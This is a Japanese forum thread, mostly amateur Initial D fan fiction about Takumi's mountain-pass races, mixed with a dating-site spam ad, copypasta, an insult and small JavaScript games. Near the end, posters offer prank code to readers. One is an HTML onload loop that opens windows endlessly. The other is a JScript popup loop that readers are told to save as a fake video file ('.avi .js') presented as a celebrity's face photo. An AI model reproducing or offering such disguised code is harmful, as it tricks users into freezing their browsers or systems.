【藤原拓海ＶＳ武内樹】頭文字D そのgo シリーズ3

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新生高橋建築木材工業チーム 　第１号
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藤原とうふ店

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【拓海１０００まで回せ】頭文字D そのgo シリーズ3

>>950

ここのスレはまだ立てられません・・。

【新生プロジェクト編 】【そのgo 】

ＭＰ１１：００　秋名湖
武内樹「拓海・・俺とバトルしてくれ」

藤原拓海「なんだ樹！
　　　　　オレはまだ遠征先決まってないから
　　　　　オレは樹とバトルしてくれ。」

武内樹「はなしてやる！」

武内樹「タービングドライブー！！」

藤原拓海「負けた」

その後武内樹が勝った・・。

武内樹「８５やっぱかっこいい・・。クウ〜〜〜〜・・。」

秋名湖店ガソリンスタンド前

ギャラリー「武内樹・・頑張・・。」

武内樹「照れるな・・。」

ギャラリー「（藤原拓海が勝ったくらいで調子こくな・・。）」

武内樹「やっぱ走り屋て・・サイコーだぜ・・。」

武内樹「エンジンターボボアアップやったぜ・・。」

武内樹「ダメだこれ以上秋名湖は攻めきれない・・。」

武内樹「ドッカンターボじゃ攻めきれないよ・・。」

武内樹「秋名湖２週までタイムアタックしかできない・・。」

藤原拓海「読者のご覧の皆さん・・。

　　　　　作者の方のこの作品に方みせて

　　　　　もらってきましたが・・。

　　　　　樹の運転やっぱりあぶねーよな・・！？。」

武内樹「今回は平気だもん・・。」

武内樹「峠で練習行ったから・・へっへん。」

偽藤原拓海「真っ直ぐしか走れない・・、」

偽高橋啓介「同意した・・。」

偽藤原拓海「課題はどんだけ真っ直ぐに速く走れるか？？」

偽高橋啓介「１８０キロは余裕で走れるぜ涼介・・？？。」

偽高橋啓介「１８０キロだな・・よっしゃーー・・。」

偽藤原拓海「普通につまんない・・。」

偽高橋啓介「確かにつまんないな・・。」

北條凛「香織・・。」

高橋涼介「・・。」


↑普通のストーリーじゃつまんないよ・・。

武内樹「カーブゾーン・・。ギャラリー避けて避けて・・。」

ギャラリー「あぶねーーー‥。」

ギャラリー「秋名湖３週でもやってろ・・。」

樹が秋名湖３週やっとげた・・。

初心者レベルだから当たり前でしょ・・。

武内樹「やっほいーーーやったぜ・・。」

北條　凛「アホーーーン・・。」

ギャラリー「お前は見に来ただけだろーーが・・。」

北條　凛「もう帰るわ・・。」

ギャラリー「死神は実家に帰れ・・。」

武内樹「タービングドライブ・・。」

偽藤原拓海「ははー‥ハハハー・・。」

藤原　拓海「今笑っただろー・・。」

偽藤原拓海「お前さては遅いだろー・・。ハチゴー乗りのくせに・・。」

藤原　拓海「図星・・。ハチゴーは撃沈・・。」

武内樹「オレのレビン・・。」

武内樹「燃えてキター・・。」

武内樹「もう２度と負けるかーー・・。」

武内樹「レビン行けーーーーーーーー。」

武内樹「レビンかっこいい・・。」

藤原　拓海「無理しなくていいよ・・樹。」

武内樹「やっぱり・・このレビンがいい。」

【藤原拓海ＶＳ武内樹】【秋名湖雨】頭文字D そのgo シリーズ3
藤原　拓海「今度は雨が降ってきた・・。」

武内樹「路面がすげるけど・・出来るのかな・・。」

藤原　拓海「やってみるしかない・・。」

武内樹「ク〜〜〜〜　やってやるぜ・・。」

藤原　拓海「やべ・・。８６ガードレールぶつかった・・。」

ギャラリー「そんなことせんと・・ゲーセンあるじゃん・・。」

藤原　拓海「でも俺的にはまだ秋名湖で攻める必要がある・・。」

武内樹「僕も賛成・・。」

５０スレ達成・・。

武内樹「雨でどれだけ滑らず進めるか・・やってみるしかない。」

武内樹「雨は凄すぎる・・。」

藤原拓海「オーっと・・あぶねーーー・・・。」

バイトの兄「ギョワワワーーー・・。」

ギャラリー「ギョワワワーーー・・。」てっなんだ・・。
ギャラリー「ギョワワワーーー・・。」てっなんだ・・。
ギャラリー「ギョワワワーーー・・。」てっなんだ・・。
ギャラリー「ギョワワワーーー・・。」てっなんだ・・。
ギャラリー「ギョワワワーーー・・。」てっなんだ・・。
ギャラリー「ギョワワワーーー・・。」てっなんだ・・。

藤原拓海「オーっと・・樹の運転はあぶねーーー・・・。」

ギャラリー「藤原がいつきに対して心配だろーが・・。」

死ね

>>1 ナレーション高橋啓介
　　　「ナレーション入れるの忘れてたな・・。

　　　　第０話中学２年の時拓海たちが最初に樹との出会った頃の始まりです・・。」

第０話新中学新生活
キコー・・カー・・コン・・。
武内樹「拓海ーー・・。レッドスタンズの試合見に行こうぜ・・。」

藤原拓海「レッドスタンズってなんだ・・。」
武内　樹「レッドスタンズてっいいう新プロジェクトチームだぞ・・。

　　　　　知らないのはお前だけだぞー・・拓海・・。」

武内　樹「秋名湖でレッドスタンズのタイムアタックが見れるらしいんだ見に行こうぜ・・。」

藤原拓海「（したがないが樹とついて行くしかないか・・。）」

夜１０：００時
武内樹「アレがチームトップの高橋涼介・・。

　　　　そこの隣がチームナンバー２の高橋啓介・・。」

池谷「ついにここまでやってきたかレッドスタンズ・・。」

健二「こんなの勝てるはずがないよー・・どうするぅ！？池谷。」

池谷「ここで逃げたらスピードスタンズのチームの笑いものだからな・・ここはやるしかないだろ。」

高橋涼介「行けるか啓介・・。」

高橋啓介「いつでも行けるぜ！！兄貴・・。」

池谷の車はタイムアッタクの途中でガードレールで事故る・・。
健二「啓介ー・・アイツ・・余裕だよな・・こんなの勝てるわけないだろー・・。」

池谷「あいつしか頼むしかないだろ・・。秋名山最速伝説の藤原文太・・。」
池谷「なあ拓海・・。親父さんに頼んでよ・・親父さんしか勝てないからって・・。」

１日が経ち・・再び対戦啓介との再戦！！。
藤原拓海「やっぱり俺しかダメだって・・。」

健二「ああーー・・だめだー・・。」
池谷「親父さんーー。もうこれはぼけた拓海じゃー・・終わりだよーーー‥。」

高橋啓介「何わけわかんねー・・
　　　　　事ほざいてる・・。
　　　　　秋名の幽霊８６は親父さんじゃなくお前だよなーー・・。」

藤原拓海「やっぱり気づいてたんだー・・。オレだよ・・先輩たち・・。
　　　　　中２の時から毎日豆腐店で配達しながら・・。毎日繰り返しで峠攻めてるんだ・・。」

池谷「そうだったのか・・拓海・・。」

健二「この話はもっと早く言え・・。」
藤原拓海「悪かったよ先輩達・・。」
高橋啓介「もういいから・・バトルしてくれ・・。」

池谷「３秒前・・GO。」

高橋啓介「コーナー２・３個くらいで・・

　　　　　二度とハチロクはバクミラーから映らないように消えてくれてやるわ・・。」

高橋啓介「余裕だな・・バックライト映らんでええわ・・。」

高橋啓介「ん？？ハチロクが迫ってる・・そんな馬鹿な・・！？。」

高橋啓介のFD向かす・・。
高橋啓介「ん？？なんだ今のは？？

　　　　　今夜に限ってエンジンが止まって見える・・。
　　　　　FDの調子悪いじゃないのか・・。」

高橋啓介「あいつの頭ネジは２・３個ふっとんでんじゃないのか・・！？。」

高橋啓介「感染ドリフトだとー‥。」

高橋啓介「俺はレッドスタンズのナンバー２だぞ・・。」

高橋啓介「狂気のさだぜ・・。」

高橋啓介「負けた・・どこまで行くのか・・見守るしかないか・・。」

高橋啓介「藤原拓海か・・。覚えておくか・・。」

藤原文太「どっちが勝ったんだ拓海・・。」

藤原拓海「当然俺が勝った・・ガソリン満タン約束だからな。」
藤原文太「ああー・・そうだったな・・ガソリン入れに行くとするか・・。」

第０話エンドー・・。

第１話開始ー・・。

高橋涼介「ここだな例（溝）の場所は・・。」

高橋啓介「兄貴そうだ・・。」
高橋涼介「はっきり言っておくこれは溝落としって言いう技だな・・。」

高橋啓介「排水口にタイヤの跡がー・・。」

高橋啓介「クソやられたぜ・・。」

高橋涼介「最速理論ホームページを作ってで分析しておく待ってくれ・・それまでに・・。」

高橋啓介「兄貴分かったぜ・・。」

高橋涼介のタイピング最速理論 / PS2 動画
http://www.youtube.com/watch?v=GJ36TdN-l0c

第１話エンドー・・。

第２話開始ー・・。
池谷「拓海の横に座らせてくれ・・。」

藤原拓海「別にいいよ・・。」

池谷「拓海ブレーーキ！！」

池谷「もうダメ・・・・（気絶・・）。」
２コーナーで池谷は失神・・。
第２話エンドー・・。

第３話開始ー・・。
藤原拓海は学校でもボケー・・としているー・・。
樹がとんでもない約束をする・・。
中里毅「俺はナイトウキッズの中里毅だー・・。
　　　　秋名のハチロクとバトルしてくれ・・。１０：３０時までに来てくれ・・。」

武内樹「この時間帯は問題ないですよ。。O・K！！」

藤原拓海「悪い今日は８６親父が夜遅くまで来れないんだ・・。」

武内　樹「（わ〜〜〜どうしようーー・・。まずい展開・・。）」

秋名湖夜１０：２０分
ギャラリー「どっち勝つのだろうな・・。楽しみだな。」

武内　樹「（わ〜〜〜どうしようーー・・。本当にまずい展開・・。）」

武内　樹「（ギャラリーだらけ・・まずい展開・・。

　　　　　　俺現在一人・・拓海〜〜〜〜先輩達も早く来てよ〜〜〜・・。）」

藤原拓海「やっと親父がもどってきた・・。」

先輩達「早くしないと時間以内に間に合わない・・先に行け拓海。」
藤原拓海「ああ・・先に行くか・・。」

健二「行けーー・・あっ・・いない８６が消えた・・。」

池谷「こんなんの走り方の最速は拓海だけだぞー・・。」
健二「俺のターボが・・みにくい・・。」

武内　樹「拓海〜〜〜・・時間内に来てくれた。」

藤原拓海「樹ー・・落ち着きなよ・・。」
中里　毅「俺の名前は中里毅だ・・。よろしくお願いします・・。」

中里　毅「俺が先行でやるぜ・・。」

池　谷「分かったカウント行こう３秒前・・。」

池　谷「GO!!」

中里　毅「黒いRー32のついたＲのバッチは不敗のＲのバッチだ！！。」

藤原拓海「速いな・・。ついてこれるか・・？？。」

中里　毅「俺は昔はＳ-13乗りだぜわざわざ
　　　　　秋名の８６を倒すためにＲー32に乗り換えたんだざ・・。」

中里　毅「俺こそが最強だぜーー・・・。」

藤原拓海「ついてこれらない・・

　　　　（ん？？これは？？

　　　　　親父がいじってるよな・・！？もしかして行けるかも！？）」

中里　毅「溝落としは使ってこないのか・・！？

　　　　　なめてるんじゃない・・！！

　　　　　何外側だと！？８６にむかされた・・。」

中里　毅「くそー・・なめてるんるんじゃねー・・。

　　　　　しっ・・しまったー・・をわーー・・。」

中里は車は溝落とせず・・失敗・・中里は敗北でエンド・・。
第３話エンドー・・。

楽しそうなスレみっけ

第４話始めー・・。
庄司　慎吾「中里毅は使いもんになっくなったな・・

くっくっく・・今度は俺が庄司慎吾が相手だ・・。」

ガソリンスタンド前・・。
庄司　慎吾「中里毅に負かしたのはお前だな・・

　　　　　　早速勝負しよっや・・ガムテープデスマッチって奴。」

池　谷「やめておけ・・拓海・・。」
庄司　慎吾「くっくっく・・降りたらチームの笑いもんだぞ・・

　　　　　　分かってるよな・・藤原拓海・・。

　　　　　　勝負は１０：３０分秋名山で・・。」

池谷「無理だやめておけ拓海・・こんな奴はほっかっておくのが一番や・・

　　　ガムテープデスマッチなんか・・無理って奴だろ・・。

　　　卑怯だろ・・同じ群馬エリアの仲間だろーがー‥。」

昨夜ー・・。
庄司　慎吾「くっくっく・・断ったらどんな事になるのか・・。」
EGー６８５−に激突カウントアタック・・。
武内　樹「わーーー。」
８５−クラッツシュー・・。
秋名山１０：３０分
池谷「さすがに頭にきたよなー・・断った寸前樹がクラッシュしたそうだ。」
藤原　拓海「もうやるしかないな・・せっかく樹と走り屋の友達仲間になったのに

　　　　　　こんな真似のは許せないよー・・ナイトキッズめー・・。」

昨夜ー・・。
庄司　慎吾「くっくっく・・断ったらどんな事になるのか・・。」
EGー６８５−に激突カウントアタック・・。
武内　樹「わーーー。」
８５−クラッツシュー・・。
秋名山１０：３０分
池谷「さすがに頭にきたよなー・・断った寸前樹がクラッシュしたそうだ。」
>>100 訂正します。
藤原　拓海「もうやるしかないな・・せっかく樹と走り屋の友達仲間になったのに

　　　　　　こんな真似は許せないよー・・ナイトキッズめー・・。」

庄司　慎吾「ガムテープを右手をきつく締めつけるんだよ簡単だろ！？」

池谷「お前もやるんだ。」
庄司　慎吾「承知の上俺はそれが毎日が日常でなー・・。」

庄司　慎吾「ま・・いいや俺もガムテープデスマッチ
　　　　　　てやつやってやろー・・じゃねー・・か！？」

庄司　慎吾「藤原が先行でやれ・・。」

庄司　慎吾「（くっくっく・・このバトルは落としてやるぜー・・。）

庄司　慎吾「（この条件なら・・この俺が勝つにきまりだろー・・。）」

池谷「３秒前ー・・GOー・・。」

藤原　拓海「おおっとガードレールギリギリーー・・・・あぶっねーー・・。」
庄司　慎吾「オオ〜〜〜〜元気だな・・！？ガンガン攻めてみろ！！。」

藤原　拓海「ん？？これだったら攻めやすいかも！？。」

庄司　慎吾「なんかムカつくな・・。
　　　　　　遅いんだよ・・秋名のハチロク・・
　　　　　　前のように攻めようぜーー・・。」

庄司　慎吾「面白みがない走りだよな・・。
　　　　　　崖の下に落としてやるぜー・・
　　　　　　クラシュー・・してやるわー・・
　　　　　　秋名のハチロクさんよ・・。」

庄司　慎吾「秋名のハチロクさんよー・・あーばーよ・・。」

現在秋名山でバトル中ー・・。
庄司　慎吾先行
藤原　拓海後行

藤原　拓海「（ムカついてきた・・。）」

庄司　慎吾「なんだと・・ハチロクが迫ってきてやがる・・

　　　　　　確か崖の下に落としたはずだ・・。」

庄司　慎吾「もうどうだっていい・・

　　　　　　最後はダブルクラッシュで終わりだぜー・・。」

庄司　慎吾「何・・！！」

庄司　慎吾「ハチロクがかわしやがった・・

　　　　　　わーーーしっしまった・・！！。」

庄司　慎吾「何もかも終わった・・。」

池谷「乗っていけよ庄司・・。」

庄司　慎吾「（こんな俺でも助けてくれるなんて・・・。）」
第４話エンドー・・。

休み時間有り埋め。

>>109

第５話始め・・。
妙義山雨
中村ケンタ「俺は中村ケンタ・・あんたが啓介さんに負かした藤原だな・・
　　　　　　レインバトルは俺とバトルしろ・・。」

中村ケンタ「もしかして雨が怖いだろ・・。」
藤原　拓海「このバトルは引き受けた・・樹は後ろに乗っていろ・・。」
武内　樹　「？？分かった・・。」

中村ケンタ「レインバトルは誰にも譲れないぜ・・。」

藤原　拓海「・・。」
武内　樹　「ガードレール近い拓海・・ブレーキ・・。」
藤原　拓海「（樹のアドバイスは無視・・はじめから全開で飛ばすだけ・・。）」

中村ケンタ「嘘だろ・・。むかされた・・。」

中村ケンタ「８６トレノが一瞬だけ飛びはだかった・・。」
中村ケンタ「もうあそこまで・・。信じられないほど秋名のハチロクは速いぜ・・。」

中村ケンタ「藤原のハチロクが消えた・・。
　　　　　　レインバトルでも藤原が速い・・。
　　　　　　藤原に負けた・・これはにとめるしかないぜ・・。」
第５話エンド・・。

ｶｲ「これが地元破りのおきて走りだっ」　
　
拓海「負ける…!!このままじゃ負ける!!こっちも行くしかない!　ドロー!!キタッオボマ大頭領っ!!
　
ナレーター「勘のいい読者も今一おわかりならないないだろう　

この「オボマ大頭領」は召還者をアイキャンフライさせる超強力なカードなのである」
　
拓海はドアとハッチをあけた「いつでもいいぜ!!」

オボマ「オーケー　アイキャンフライッアイキャンフライッ!アイキャンフライッ!!アナタモゴイッショニ…ハイ!!」　
　
拓海＆オボマ「アイキャンフライ!!アイキャンフライッ!!アイキャンフライ」
　
オボマ「コレハ？」
　
拓海「ディスイズあじフライ!!」
　
その瞬間ハチロクはガードレールを突き破り宙に浮かんだ…

第６話始め・・。
真子「どうしよう・・沙雪・・エンジン停ちゃった・・。」

沙雪「そこらへんに・・ガソリンスタンドあるけど・・呼んでくるね。」
池谷「エンジン直してやるよ・・。名前は池谷
　　　スピードスターズていいう・・ちょっとした走り屋の有名だよ・・。」
真子「佐藤真子・・（秋名のハチロクいないか・・）。」
沙雪「ボケー・・としたそこのバイトの人名前は・・。」

藤原拓海「えー・・と・・オレの名前は藤原拓海です・・。」

池谷「俺がチームトップの秋名のシルビアだー・・。」

真子「（秋名のシルビア・・！？聞いた事ないな・・初めて聞いた・・。）」
藤原拓海「仕事中ですよ・・池谷先輩・・。」
池谷「悪かったな・・仕事中だった・・
　　　来週まで待ってやるから・・
　　　それまでに腕は磨いてやるよ・・
　　　場所は碓氷峠ー・・１０：３０分・・。」

沙雪「（池谷って言いう人・・明らかに速そうには見えない・・よね！？）」

碓氷峠ー・・
健二「碓氷峠なんかやめておけって池谷・・。」
池谷「そうだよな健二・・。」
Ｃー121
健二「池谷・・ブレーー・・キ・・。」
池谷「・・。真子・・嘘だろー・・ブルーのシルエテイー・・。」

池谷「Ｃー121でスレスレで拓海のよりもしかしたら速いのかもしれない・・。
　　　こんなの勝ち目無いだろー・・。嘘だと言ってくれ真子ー・・。」

池谷「済まなかった・・。真子・・この人が有名な秋名のハチロクの藤原拓海。」
藤原拓海「よろしくお願いします・・。」

真子「池谷さん知っていたよ・・藤原さん。
　　　バトルは明日の夜の１０：３０分頃。」

第６話エンド・・。

次漫画板スレ
【信ちゃん１０００まで回せ】頭文字D 119台目【そのgo】
http://toro.2ch.net/test/read.cgi/siberia/1361132684/l50

第７話始め・・。
>>128
真子「このバトル形式では道路は封鎖なしでバトルでするんだよ・・。」

藤原拓海「ああ・・。知っているよ・・。
　　　　　俺は今までに道路は封鎖なしで対戦してきてるから・・。」

真子「当然私たちの方が地元に詳しい走り方するからきちんとついて来てね・・。」

藤原拓海「分かった・・。始めよう池谷先輩・・。」

真子「対向車が来てもバトルは中止にならないからね・・。」

藤原拓海「ああ・・。分かった。」
池谷「３秒前・・GO!!。」

沙雪「碓氷最速はインパクトブルーで決まりだよ・・。」

真子「どこまで私達をついてこられるかしら・・秋名のハチロク・・。」

沙雪「対向車無し真子ここは流していいよ・・。」

沙雪「コーナのつなぎ目がある・・。真子・・ここはスビードは押さえて・・。」
真子「分かった・・。」

沙雪「ツインコーナがある・・。突き放して真子・・。」

真子「すぐに見えなくしてやるわ・・。秋名のハチロク・・。」

沙雪「次のCー121ポイントがある・・。
　　　対向車無し・・。突き放していいよ真子・・。」

真子「ん？？ハチロクはブレーキかけてきたよ・・沙雪。」

沙雪「真子・・前・・。ぶつかるわ・・。」

真子「しっ・・しまった・・。」
沙雪「（何考えてるんだ秋名のハチロク・・。私たちと心中でもする気・・。）」

秋名のハチロクとシルエティーはギリギリ・・避ける。
沙雪「負けた・・。」

真子「池谷先輩にいっといで・・。
　　　返事はあそこの碓氷の喫茶店で・・。」

藤原拓海「分かった・・。池谷に言っとくわ・・。」
第７話終わり・・。

休み時間有り埋め。

第８話始め・・。
池谷は時間には間に合わずに
真子は待たされる始末・・。

真子は待つの諦めて帰っていった・・。
池谷は行きじがいでついた池谷・・。
真子がいないので池谷も帰っていった・・。
第８話エンドー・・。

休み時間有り埋め。

　

　

　

涼介ＶＳ拓海戦編はアニマックスで確認して欲しい・・。

出会いサイトの90%は悪質サイトが占めています。しかし、真面目に運営されているサイトを利用すれば素敵な出会いがあるのが事実です。下記サイトに限って【悪質行為等は絶対にありません】ので興味のある方はこの機会にもう一度お試しになってみて下さい。
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涼介はなぜ花畑なんか持ってきているのだー・・。

藤原「中には手紙が・・この前は雨で中止だったので
　　　次の日の１０：３０分にてバトル再開します・・。
　　　バトルの日ですので必ず来てください。」

秋名山頂上ー・・。
藤原拓海ＶＳ高橋涼介　動画？？
http://niconico.boy.jp/nico/sm20118719.html
１st編最終話エンドー・・。

　

　

　

2 second stage 第１話始めー・・。
秋名湖
武内樹「追いけけてきてる・・。むかされた・・。」
岩瀬　清次「俺様の名前はチームエンペラーの岩瀬清次様だ・・。」

武内　樹「何の用だエンペラー・・。」
岩瀬　清次「秋名のハチロクとやらに言っておけ・・。
　　　　　　ハチロクはアウト・オブ・眼中ー・・。
　　　　　　ハチロクなど時代遅れだー・・。
　　　　　　夜の１０：３０分秋名山にてこい・・てな！！。
　　　　　　この俺様に負けるなどはありえないぜー・・。」

藤原拓海「樹・・このバトル引き受けた・・場所は秋名山で・・。」

夜の１０：３０分秋名山頂上ー・・。
岩瀬　清次「来たなー・・。」
須藤　京一「ＦＣの高橋涼介に勝ったそうだな・・。
　　　　　　清次・・シュミレーション�Bでいけ・・。」

岩瀬　清次「こんな奴にシュミレーション�Bだとー・・。
　　　　　　須藤考え直したほうがいいぜ・・。
　　　　　　今のあいつは高橋涼介に勝っているんだぞー・・。」

須藤　京一「だからこそシュミレーション�Bやるんだよ・・。
　　　　　　手抜してまで戦えるだからこそ相手になるんだ・・。」

http://i.imgur.com/nxzr9IA.jpg

岩瀬　清次「ハンディーキャップだ藤原・・。
　　　　　　お前後ろだからこそ実力はわかるんだぜ・・。
　　　　　　早速始めようー・・。」

藤原　拓海「池谷カウントお願いします・・。」
池谷「カウントいくぞー・・。３秒前・・GO！！。」

岩瀬　清次「後ろ・・。やっぱいらつくぜ・・。
　　　　　　なんでこの俺がシュミレーション�B
　　　　　　など付き合わなきゃいかねー・・んだ。」

藤原　拓海「後ろのランエボすぐに追いついちゃった・・。」

岩瀬　清次「遅すぎだろー・・。
　　　　　　いらつくぜー・・。
　　　　　　もっとふんばれよ・・。」

藤原　拓海「俺はただランエボのことは嫌いなだけ・・。」

岩瀬　清次「ボロ寸前のくせに使い込んでるじゃねー・・よ。」

藤原　拓海「やばいー・・気がする・・。
　　　　　　ここは譲ってあげなきゃ・・勝ち目はないよ・・。」

岩瀬　清次「ありがとな・・ハチロク・・。
　　　　　　もう譲るとかはもう二度と言うんじゃねー・・。」

藤原　拓海「よし・・。ここから溝落としができる・・。」
藤原　拓海「ついてこれない・・。もう一つの溝落とし・・
　　　　　　親父から教わったので試しにやっておこう・・。」

岩瀬　清次「ぬかされたー・・。何が起こった・・。」」

藤原　拓海「シャーー‥いっけーーーーー・・。」

須藤は清次に対してほっぺを叩いた・・。
須藤　京一「なぜ・・ハチロクは抜かした・・。」

岩瀬　清次「何が起こったのかわかんねー・・。」
須藤　京一「まっいい・・今度は赤城に来い・・。
　　　　　　分からせてやる・・。
　　　　　　ハチロクは時代遅れだってことを教えてやる・・。」

藤原　拓海「ん？？手紙が・・。
　　　　　　「紳士となつきは援助婚再しています・・。
　　　　　　　場所はファミレスで付き合っています・・。」」

藤原　拓海「騙された・・と思って行けばいいんだな・・。」

どっかのファミレス・・。
藤原　拓海「嘘だろ・・。真面目に紳士と付き合ってる・・。
　　　　　　なつきなどは一切無視して赤城山か・・。俺は行ってやるよ・・。」
2 second stage 第１話エンドー・・。

2 second stage 第２話始めー・・。
藤原　拓海「あなたが須藤京一だな・・俺の名前は藤原拓海。」
藤原　拓海「ああ・・。そうだが・・。」

藤原　拓海「バトル形式はどうするぅ！？。」

>>165 訂正します。
藤原　拓海「あなたが須藤京一だな・・俺の名前は藤原拓海。」
須藤　京一「ああ・・。そうだが・・。」

藤原　拓海「バトル形式はどうするぅ！？。」

須藤　京一「文字通りお前が前に走れ・・。」
史　浩「それじゃ・・カウント行くぜ・・。」

史　浩「３秒前・・GO！！」

須藤　京一「これはバトルじゃない・・これはセミナーだ。」

藤原　拓海「このバトルは絶対に負けたくない・・。」

藤原　拓海「負けたくない・・。
　　　　　　自分の走りが出来てる・・。」

須藤　京一「よし行くか・・。」

須藤　京一「追いついた・・。
　　　　　　お前の逆転をつかめてやる・・。」

藤原　拓海「くいつかれた・・。」

須藤　京一「遅いわけないか・・。
　　　　　　サーキットでは
　　　　　　ハチロクにこんな走り方では
　　　　　　いけないんだこれはセミナーだー・・。」

藤原　拓海「むかされってたまるか・・。」

藤原　拓海「後ろの車バンバンとうるさいな・・。」

須藤　京一「見破った・・。
　　　　　　涼介の思い過ごしだ・・。
　　　　　　甘いぜ・・ぬかした・・。」

藤原　拓海「ぬかされた・・
　　　　　　このハチロクにくいついてやる・・。」

須藤　京一「もう駄目だな・・。
　　　　　　ハチロクは終わる・・。
　　　　　　全開ではエンジンはいかれるぜ・・。」

藤原　拓海「くそ・・エンジンがいかれた・・。
　　　　　　ハンドル離さないぞ・・。」

須藤　京一「・・終わったな。」

藤原　拓海「俺のハチロクが・・。」

須藤　京一「４ＷＤに乗り換えろ・・。
　　　　　　これが俺のセミナーだ・・。
　　　　　　地元のいろは坂で待ってやるぜ・・。」

須藤　京一「じゃなー・・藤原。」

藤原拓海「レンタカーが来た・・。」
藤原文太「もう駄目だなエンジンが・・
　　　　　早く乗れよ・・拓海・・。」
2 second stage 第２話エンドー・・。

2 second stage 第3話始めー・・。
藤原文太「車は直したから
　　　　　とっとと豆腐店に行きやがれ・・。」

藤原拓海「ありがとなハチロク直して・・。
　　　　　なんなんでもないよ・・。行ってくるよ親父・・。」

世界の7つの真実

1. 目には石けんを入れることはできない。
2. 髪の毛の本数を数えることはできない。
3. 舌を出したままで鼻からは息をできない。






































4. ちょうど3を試したでしょ。
5. 3を試したとき、実はできる、と分かっただろうけれど、その時あなたは犬みたいに見えてたはず。
6. あなたはだまされたと思ってちょうど今笑ってるはず。
7. 悔しいから仕返しにこのレスをコピペ。

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<BODY Onload="var i=0;while(1){open('./',i++);}">

◆電波王の顔写真が公開されるプログラム◆
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　　for(;;){ WScript.Echo('このウィンドウは永久に消えません。m9（＾Д＾）プギャー'); }
２．ファイル名を↓で保存する
　　電波王顔.avi .js
これだけでOK！

以下のソースコードをメモ帳に貼り付けて、htmlで保存すればテトリスが動きます。
<body onKeyDown=K=event.keyCode><script>X=[Z=[B=A=12]];h=e=K=t=P=0;function Y()
{C=[d=K-38];c=0;for(i=4;i--*K;K-13?c+=!Z[h+p+d]:c-=!Z[h+(C[i]=p*A-Math.round(p/
A)*145)])p=B[i];!t|c+4?c-4?0:h+=d:B=C;for(f=K=i=0;i<4;f+=Z[A+p])X[p=h+B[i++]]=1
if(e=!e){if(f|B){for(l=228;i--;)Z[h+B[i]]=k=1;for(B=[[-7,-20,6,17,-9,3,6][t=++t
%7]-4,0,1,t-6?-A:-1];l--;h=5)if(l%A)l-=l%A*!Z[l];else for(P+=k++,j=l+=A;--j>A;)
Z[j]=Z[j-A]}h+=A}for(i=S="";i<240;X[i]=Z[i]|=++i%A<2|i>228)i%A?0:S+="<br>",S+=X
[i]?"■":"＿";document.body.innerHTML=S+P;Z[5]||setTimeout(Y,99-P)}Y()</script>

スロットやろうぜ！
<body onKeyDown=K=1><pre><script>R=7;D=document;function Y(){D.all(7).innerHTML
=P;if(K){R>>=1;if(!R){o=A[0]&56;if(o-(A[1]&56)||o-(A[2]&56)){alert("残念");if(P
<5)return alert("END")}else alert(g=T[o/=8]),P+=g;P-=5;R=7}}for(K=i=0;i<9;C[i++
%3]/=8)j=A[i],C[i]=A[i]=R&4>>i?j=j%(1<<27)*8|j>>27:j,D.all[9+i].innerHTML=S[C[i
%3]&7];setTimeout(Y,99)}S="７□＝○∴｜￥＄".split("");T=[100,5,10,15,20,30,P=
45,60];A=[0x16E29519,0x1DCC2E65,0x384CD988];C=[];a="<b></b><b></b><b></b>\n";D.
write(a,a,a,a);for(i=8;i--;K=0)D.write("\n\t",S[i]," ",T[i]);Y()</script>

それ系のぷよぷよもあるよね
<body onKeyDown=K=event.keyCode-38><script>function T(){h=100,B=Math.floor(Math
.random(l=8,p=-1)*16+4)}function Y(){for(S="",i=104;i--;i%8||(S+="<br>"))n=N[i]
,S+=n?~n?"<a style=color:#"+(249*n)+">●</a>":"■":"＿";document.body.innerHTML
=S;N=[K-50?h-=M[h+l-K]|M[h-K]?0:K:M[h+p]?0:(x=p,p=-l,l=x)];for(K=0;++i<113;N[i]
=M[i]);N[h]=B>>2;N[h+l]=B%4+1;if(!(++e%10))if(h-=8,M[h]+M[h+l])for(M=N,T(f=0);f
=!f;){for(i=112;i--;g=C[i]=0);for(;g=!g;)for(i=0;i<103;i++)if(n=M[i+8],!M[i]&&n
)M[i]=n,M[i+8]=g=0;for(;i--;){n=c=0;for(E=[i];M[i]>0&n>=c;c++)for(j=4;j--;t>102
|C[t]|M[i]-M[t]||(C[t]=E[++n]=t))x=p,p=-l,l=x,t=E[c]+p;if(n>3)for(;n;)f=M[E[n--
]]=0}}M[100]||setTimeout(Y,49)}for(M=N=[C=[i=113]];--i;M[i-1]=i%8>1&i>7?0:-1);Y
(T(e=K=0));</script>